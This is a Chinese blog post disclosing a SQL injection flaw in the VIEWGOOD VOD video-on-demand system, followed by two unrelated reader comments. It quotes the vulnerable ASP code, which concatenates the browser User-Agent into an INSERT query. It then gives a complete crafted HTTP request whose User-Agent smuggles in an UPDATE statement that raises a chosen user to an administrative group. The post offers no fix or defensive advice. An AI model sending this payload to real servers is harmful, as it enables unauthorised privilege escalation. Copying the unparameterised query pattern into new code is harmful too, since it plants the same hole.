夜火博客 个人的碎碎念收集箱

远古视频点播系统注入漏洞

作者:toby57

VIEWGOOD VOD视频点播系统 (WebVOD)注入漏洞
漏洞产生于文件/webmedia/oemui/user/guest.asp,访问这个页面需要注册

相关代码:

    szAgent = Request.ServerVariables("HTTP_USER_AGENT")
    aTmpInfo = Split(szAgent, " (", -1, 1)
    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)

    szBrowser = aAgentInfo(1)
    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)
    else
        szOS = aAgentInfo(2)
    end if
    szClientIP = Request.ServerVariables("REMOTE_ADDR")

    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')"
    con.Execute szSQLHTTP_USER_AGENT我们可以自己构造

POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
Referer: [url]http://you.are.fucked.cn/webmedia/oemui/user/guest.asp[/url]
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;

memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E

留言列表
licufa
licufa 夜火兄,我的博客开张了,有空来坐坐,欢迎交换个链接。面谱 www.mianpu1000.com/cms  回复
xloong
xloong 我以为你的备案下来了那。。。原来还没搞定的心里平衡了,哈哈哈~还有。。。你怎么搞个cms的目录,感觉不如blog目录来的好些链接已加 over~PS:刚想在你blog留言的,但是不知道域名绑定掉了,还是什么原因,访问不到了  回复
发表评论
来宾的头像